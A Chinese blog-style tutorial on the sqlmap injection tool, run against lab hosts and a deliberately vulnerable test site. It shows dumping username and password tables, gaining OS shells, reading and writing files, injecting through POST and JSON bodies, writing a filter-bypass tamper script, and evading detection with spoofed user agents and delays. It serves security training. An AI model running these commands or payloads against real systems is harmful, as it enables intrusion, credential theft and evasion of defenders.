注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构

#知识点:

1、SQLMAP-常规猜解&字典配置
2、SQLMAP-权限操作&文件命令
3、SQLMAP-Tamper&使用&开发
4、SQLMAP-调试指纹&风险等级

#参考文章:

https://www.cnblogs.com/bmjoker/p/9326258.html

#数据猜解-库表列数据&字典

测试:http://vulnweb.com/

--current-db

--tables -D ""

--columns -T "" -D ""

--dump -C "" -C "" -T ""

1.IIS, ASP, Microsoft SQL Server(ACCESS数据库)

1.打开对应的UploadParsing网址,并使用其分配的IP进行访问
2.源码中,没有进行sql语句的过滤直接拼接 ,造成有注入风险
3.使用sqlmap工具进行sql注入
  • G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  • **python sqlmap.py -u "" --tables** //获取表名
    python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
    **python sqlmap.py -u "" --dump -C "username,password" -T admin** //获取表名下的列名数据

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables

    • python .\\sqlmap.py: 启动 SQLMap 工具,使用 Python 解释器运行。

    • u "<http://192.168.200.140:89/Pic.asp?classid=3>": 指定目标 URL,即要测试的网站地址。在这个例子中,目标 URL 是 http://192.168.200.140:89/Pic.asp?classid=3u 选项用于指定 URL。

    • -tables: 指定 SQLMap 工具执行的任务,这里是获取数据库中的所有表。-tables 选项用于请求表的信息。

    • 提示有注入点

  • 它询问是否要使用常见的表存在性检查方法

    • do you want to use common table existence check? [Y/n/q] y

    • 选择要使用的常见表文件的提示。用户可以选择默认的常见表文件,也可以选择自定义的常见表文件。

    • 询问用户要设置多少个线程进行测试

    • please enter number of threads? [Enter for 1 (current)] 输入10

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --columns -T admin

    • -columns: 这是 SQLMap 的一个选项,用于指示工具查找指定表的列。

    • T admin: 这是 SQLMap 的另一个选项,用于指定目标表的名称。在这里,它是 "admin" 表。

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --dump -C "username,password" -T admin

    • -dump : 这是 SQLMap 的选项,用于指示工具从数据库中检索数据。

    • C "username,password": 这是 SQLMap 的选项,用于指定要检索的列的名称。在这里,它是 "username" 和 "password" 列。

    • 得出如下的用户名和密码

  • 如果修改数据库的表名

  • 将原本的数据库中的Admin表 表名修改为Adminxaiodi

  • 将相关缓存输出目录删除,继续查询

  • 再次输入**python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables 查询表名,发现无法测出Adminxiaodi表名**

  • 原因是:使用猜测的字典中没有相关Adminxiaodi表名,所以猜不出

  • 方法:手动添加字典内容

    • 字典位置:G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\data\txt

    • 添加内容:adminxiaodi

    • 重新运行,成功猜出

  • 猜测完毕之后,sqlmap会自动将猜测出的东西,以提供的ip名或域名,以表格的形式存储在本地,可以直接查看

2.Apache, PHP, MySQL(普通权限)

  • http://testphp.vulnweb.com/artists.php**?artist=1(有注入漏洞)**

  • python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --is-dba是否是数据库管理员)(会误报)

  • 输出显示 current user is DBA: False这表示当前数据库用户不是数据库管理员。

    分析这个结果的意义如下:

    • current user is DBA: False: 当前数据库用户并非数据库管理员。数据库管理员通常具有更高的权限,可以执行更敏感的数据库操作。

    这个信息是 SQLMap 在测试过程中根据数据库的反馈来判断的。在安全测试中,了解当前用户是否是数据库管理员对于评估系统的安全性和潜在的漏洞是重要的一部分。如果 --is-dba 结果为 True,则表明当前用户是数据库管理员,可能具有更大的潜在威胁。

  • python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user==(获取当前用户名称,推荐使用)==

1.python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" 使用 SQLMap 对提供的 URL 进行 SQL 注入测试
  • 这个命令的目的是使用 SQLMap 对提供的 URL 进行 SQL 注入测试 。SQLMap 将自动尝试检测目标 URL 是否存在 SQL 注入漏洞
  • **heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')**这个分析结果是 SQLMap 对目标 URL 进行启发式(基本)测试后得出的结论
    • GET parameter 'artist' might be injectable: SQLMap 发现 GET 请求中的参数 'artist' 可能是可注入的。
    • Possible DBMS: 'MySQL': SQLMap 进一步猜测目标数据库管理系统**(DBMS)可能是 MySQL。**
  • GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

    • GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable: ==SQLMap 发现 'artist' 参数可能受到 MySQL 版本大于等于 5.0.12 的时间盲注入漏洞的影响 。==时间盲注入是一种 SQL 注入技巧,注入点插入类似 AND SLEEP(5) 的语句,来测试是否导致页面在执行时发生延迟。
    1. "Do you want to skip test payloads specific for other DBMSes? [Y/n]": SQLMap 提供了一个选择,询问是否要跳过针对其他数据库管理系统的特定测试负载。在这里,如果您确认目标系统是 MySQL,并且希望专注于 MySQL 测试,可==以选择 "Y"(Yes),跳过其他 DBMS 的测试。==
    2. "For the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]": SQLMap 进一步询问是否在剩余的测试中包括所有针对 'MySQL' 的测试,同时扩展提供的 level(级别)和 risk(风险)值。在这里,如果您希望执行更全面的 MySQL 测试并扩展默认的测试级别和风险值,可以选择 "Y"(Yes)。
  • GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

    • GET parameter 'artist' is vulnerable: SQLMap 确认 'artist' 参数存在漏洞,即可被注入。这可能是通过前面的测试(包括时间盲注入测试)得出的结论。

    • Do you want to keep testing the others (if any)? [y/N]: SQLMap 提供了一个选择,询问是否要继续测试其他参数(如果有的话)。在这里,它询问用户是否想要继续探测其他可能存在漏洞的参数。选择 "y" 表示继续测试其他参数,

    • 得到的结论:

      1. Injection Points:
        SQLMap已经识别了一个注入点,即 GET 参数 'artist'。它在测试中使用了不同类型的注入测试负载来验证漏洞的存在。
      2. Boolean-based Blind Injection:
        • Type: 基于布尔的盲注(boolean-based blind)
        • Title: 使用 WHERE 或 HAVING 子句的布尔盲注
        • Payload: artist=1 AND 3483=3483
      3. Time-based Blind Injection:
        • Type: 基于时间的盲注(time-based blind)
        • Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        • Payload: artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(5)))hRNW)
      4. UNION Query Injection:
        • Type: UNION 查询注入
        • Title: 通用 UNION 查询 (NULL) - 3 列
        • Payload: artist=-1425 UNION ALL SELECT CONCAT(0x717a706a71,0x4b4c4e714344494b55456f706c6c556f5968514e647a74536f72444975414d5a6c4a5a446756726c,0x7176787171),NULL,NULL-- -
      5. Back-end DBMS Information:
        • SQLMap 进一步确认后端数据库管理系统 (DBMS) 是 MySQL,且版本是大于等于 5.0.12。
      6. Web Server and Application Information:
        • Web 服务器操作系统:Linux Ubuntu
        • Web 应用程序技术:Nginx 1.19.0, PHP 5.6.40
2.由于MySQL数据库,存在多种表,在检测时候应先使用:ppython sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db 表示要获取当前数据库的名称。
3.python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart" 并尝试获取指定数据库("acuart")中的所有表的名称。
4.python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" (对指定表("users" )进行测试,并尝试获取该表的所有列的名称)
5.python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -C "name,pass" --columns -T "users"(从指定表 ("users") 中的指定列 ("name" 和 "pass") 中检索数据,并将结果输出。)
  • 数据以表格形式保存在本地

#权限操作-文件&命令&交互式

测试:MYSQL高权限注入

引出权限:

--is-dba(误报) --privileges(只能通过很多false或者true判断,不明显)

推荐使用--current-user

引出文件:

--file-read --file-write --file-dest

引出命令:

--os-cmd= --os-shell --sql-shell

1.判断权限:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" --is-dba(是否是数据库管理员)(会误报)或者==--current-user(获取当前用户名称,推荐)==

  • current user: 'root@localhost',代表是最高权限Root权限

2.判断是否可注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1"使用 SQLMap 对提供的 URL 进行 SQL 注入测试

  • 存在注入点
  • 且为MySQL数据库

3.引出命令:

--os-cmd=(在目标系统上执行操作系统命令)

--os-shell (获取一个操作系统 shell(命令行)连接)

--sql-shell**(执行SQL命令)**

  • --sql-shell (执行SQL命令)

    • select version(); (获取数据库版本信息)

    • select * from admin; (查询表的信息)

    • 输入exit退出

  • --os-cmd= (在目标系统上执行操作系统命令)

    • --os-cmd=calc (执行计算器)

      • 询问语言(直接回车默认即可

      • 路径自动查询失败,选则2(自定义路径)

      • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

      • do you want to retrieve the command standard output? [Y/n/a]在 SQLMap 执行期间询问是否要获取命令的标准输出(command standard output)(输入a即可)

  • --os-shell (获取一个操作系统 shell(命令行)连接)

    • 询问语言(直接回车默认即可

    • 路径自动查询失败,选则2(自定义路径)

    • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

    • os-shell> ver显示当前操作系统的版本信息)并输入y,得到回显

    • os-shell> ipconfig (显示ip地址)并输入a或y

4.引出文件:

--file-read**(文件读取)**

--file-write --file-dest(写入操作)

  • **--file-read (文件读取)**

    • **--file-read "f:\\1.txt"** 读取F盘的文件1.txt

      • do you want confirmation that the remote file 'f:/1.txt' has been successfully downloaded from the back-end DBMS file system? [Y/n] y

      • SQLMap 在执行时询问是否要确认从后端数据库管理系统(DBMS)文件系统成功下载了指定的远程文件 'f:/1.txt'。以下是对选项的解释:

        • Y (Yes): 表示你同意获取确认,以验证文件是否已成功从后端 DBMS 文件系统下载。如果选择了这个选项,SQLMap 将尝试验证文件的下载。
    • 打开保存的文件,发现成功读取

  • --file-write--file-dest 是 SQLMap 中用于执行文件写入操作的选项。

    • --file-write: 此选项用于指定要写入的文件的内容。你需要提供一个文件的内容或者文件路径,SQLMap 将尝试将该内容写入目标文件。

    • --file-dest: 此选项用于指定要写入内容的目标文件路径。你需要提供要写入的文件的目标路径,SQLMap 将尝试将指定的内容写入该文件。

      bash 复制代码
      python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" **--file-write="f:\\1.txt" --file-dest="c:\\123.txt"**

这个命令的目的是将指定的内容("f:\1.txt")写入 'c:\123.txt' 文件。

#提交方法-POST&HEAD&JSON

测试:Post Cookie Json

--data ""

--cookie ""
-r 1.txt(推荐使用)

1.在处理POST请求的时候,应该首先在页面测试

2.输入用户名和密码 进行登录提交表单的测试

3.并进行抓包,查看对应==登录文件 中负载的表单数据格式==

4.普通的字符串格式:"uname=test&pass=test"

--data ""
  • python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test"
    • u "http://testphp.vulnweb.com/userinfo.php":
      • 指定目标 URL,这里是登录页面的 URL。
    • -data "uname=test&pass=test":
      • 指定 POST 请求的数据 ,这里是用户名 uname 和密码 pass,分别设置为 "test"。
  • 成功实现POST数据注入:
  • 该选项用于指定要发送的 Cookie 信息。在你的命令中,--cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 --cookie "sessionID=123456"
推荐使用-r 1.txt
  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体
  1. 首先进行页面测试,并进行抓包

  2. 在抓包内容下查看,携带POST请求数据的页面:http://testphp.vulnweb.com**/userinfo.php**

  3. 选中对应的页面数据包,复制请求标头

  4. 复制请求数据包:uname=test&pass=test

  5. 将复制的东西,创建一个head.txt 文件,并存放在sqlmap的目录下 G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  6. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间
  7. 打开sqlmap,实行注入:python sqlmap.py-r .\head.txt

    1. 空格默认

      • QLMap 正在测试一个自定义的 POST 参数 #1*,以确定它是否是动态生成的。

      • got a 302 redirect to 'http://testphp.vulnweb.com:80/login.php':

        • 在测试过程中,得到了一个 HTTP 302 重定向到 'http://testphp.vulnweb.com:80/login.php'
      • Do you want to follow? [Y/n]:

        • SQLMap 询问是否要跟随这个重定向。即是否要按照新的 URL 继续测试。

  8. 成功注入

5.json格式:{"username":"admin","password":"123456"}

  1. 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

  2. 选中对应的页面数据包,复制请求标头

  3. 复制数据包:

    {

    "username": "admin",

    "password": "123456"

    }

  4. 将复制的东西,==创建一个json.txt ==文件,并存放在sqlmap的目录下 G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  5. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

      {

      "username": "admin*****",

      "password": "123456*****"

      }

  6. 打开sqlmap,实行注入:python sqlmap.py-r .\json.txt

  7. SQLMap 发现了多个注入点,并要求你选择一个用于后续注入测试的注入点。以下是对该提示的解释:默认选0即可

    • [0] place: (custom) POST, parameter: JSON #1*, type: Single quoted string (default):

      • 选项 0 表示注入点位于自定义 POST 请求的 JSON 参数 #1*,类型是单引号字符串。这是默认选择。
    • [1] place: (custom) POST, parameter: JSON #2*, type: Single quoted string:

      • 选项 1 表示注入点位于自定义 POST 请求的 JSON 参数 #2*,类型是单引号字符串。
    • [q] Quit:

      • 选项 q 表示退出选择,不选择任何注入点。

6.无论哪种格式,为了保证数据包完整性都推荐使用-r 1.txt

  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

  • 如果是json格式的POST数据包,使用--data去注入存在以下问题

    • 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

    • 复制数据包:{"username":"admin","password":"123456"}

    • 打开sqlmap,实行注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data "{"username":"admin","password":"123456"}"

    • **报错all tested parameters do not appear to be injectable😗*所有测试过的参数似乎都不可注入。

    • 原因:由于引号的影响,无法正确的读取参数,插入注入点,所以报错无法注入或没有注入点

    • 即使加入*,标明注入点,依旧无法正常注入

#绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

--tamper=base64encode.py

--tamper=test.py

Tamper脚本使用

1.测试GET页面,抓包,选中带有负载数据的页面http://192.168.137.1:84/sqli/base64.php?id=MQ==
2.由于注入页面中有id=MQ==,判定是base64加密后的数据
3.实行sqlmap执行查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ=="
4.报错无注入点:原因base64编码,导致注入语句怎样拼接都无法成功解码注入
5.采用sqlmap中自带的Tamper脚本,解决base64编码解码问题
6.引入Tamper脚本base64encode.py ,再次实行注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ==" --tamper=base64encode.py成功注入

Tamper脚本开发思路:

(1)前期分析检测判断过滤条件,
(2)分析过滤条件实行转换为对应的python代码,
(3)将代码放入sqlmap实验是否可以绕过过滤

1.在代码中,开启对于一些注入语句的关键词,进行过滤
2.抓包,指定url,使用sqlmap,查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" 报错,由于网址开启了过滤条件,无法正常注入
3.随便在Tamper脚本中,复制一个模板,修改模板编写自己想要过滤的条件代码
python 复制代码
# 导入 SQLMap 中定义的优先级枚举
from lib.core.enums import PRIORITY

# 设置 tamper 脚本的优先级为低(LOW)
**priority** = PRIORITY.LOW

# 定义一个空的函数 dependencies,用于声明脚本的依赖关系,这里没有具体的实现。
def dependencies():
    pass

# 定义 tamper 函数,它接受一个 payload 参数和其他关键字参数。
def tamper(payload, **kwargs):
    # 如果存在有效的 payload
    if payload:
        **# 替换 payload 中的一些 SQL 注入关键字,试图绕过过滤机制
        payload = payload.replace('SELECT', 'sElEct')
        payload = payload.replace('OR', 'Or')
        payload = payload.replace('AND', 'And')
        payload = payload.replace('SLEEP', 'SleeP')
        payload = payload.replace('ELT', 'Elt')**
    # 返回处理后的 payload
    return payload
4.将编写好的Tamper脚本,放置在sqlmap中的tamper目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\tamper 并开启sqlmap进行注入:**python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" --tamper=test 成功注入

#分析拓展-代理&调试&指纹&风险&等级)

1、后期分析调试:

v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。
4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

-v (0-6) 查看创建的Tamper脚本是否生效

对比前后是否使用Tamper脚本,的注入符号

  • 发现使用脚本前后,注入符号由OR更改为Or,证明脚本执行成功

2、--proxy "http://xx:xx" #代理注入

  1. 确认关闭代理后,打开burp,将对应的代理的URL,使用 --proxy语句跟在sqlmap执行语句之后;

  2. 发现burp中接受到注入的的数据包,便于后期分析注入原理。

3、打乱默认指纹:

--user-agent "" #自定义user-agent

--random-agent #随机user-agent

  • 面试问题:由于显示的数据包user-agent会携带一些**固有流量特征**,会被蓝队进行防护和识别。

    • sqlmap的固有流量特征数据包user-agent中会默认其版本号

    • User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)

  • 解决方式:通过自定义或者随机ua头,避免被过滤

  • 面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。

  • 解决方式:使用延迟响应语句python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" -v 4 --random-agent --time-sec=(2,5)

--time-sec=5 #延迟响应,默认迟为5秒。

  • -time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围 ,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句

4、风险等级:--level --risk等级限制

--level=(1-5) #要执行的测试水平等级,默认为1

--risk=(0-3) #测试执行的风险等级,默认为1

  • 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。
  1. 将源码设置为两个可注入点:分别为idUser-Agent

  2. 当使用sqlmap进行扫描的时候,不使用自己创建的Tamper脚本,默认扫描注入点:

    1. 首先使用默认等级进行扫描:

      1. python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1"

      2. 发现有过滤,无法寻找到注入点

    2. 在执行代码后==规定等级 :==**--level=3(测试水平等级)** --risk=2(执行的风险等级) python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" --level=3 --risk=2

      1. 发现找到注入点:但是不是先前判断的id注入点,而是不知晓的User-Agent
      2. 原因:使用高等级的规则 进行查询扫描注入点的时候,又可能会扫描到其他注入点
相关推荐
_.Switch3 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
JokerSZ.3 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
SafePloy安策3 小时前
软件加密与授权管理:构建安全高效的软件使用体系
安全
安冬的码畜日常4 小时前
【玩转 Postman 接口测试与开发2_006】第六章:Postman 测试脚本的创建(中):脚本的位置与执行顺序、AI助手及私有模块的使用
测试工具·postman·测试脚本·postbot·package library
芯盾时代4 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
北京搜维尔科技有限公司6 小时前
搜维尔科技:【应用】Xsens在荷兰车辆管理局人体工程学评估中的应用
人工智能·安全
云起无垠6 小时前
技术分享 | 大语言模型赋能软件测试:开启智能软件安全新时代
人工智能·安全·语言模型
Frank牛蛙7 小时前
1.每日SQL----2024/11/7
数据库·sql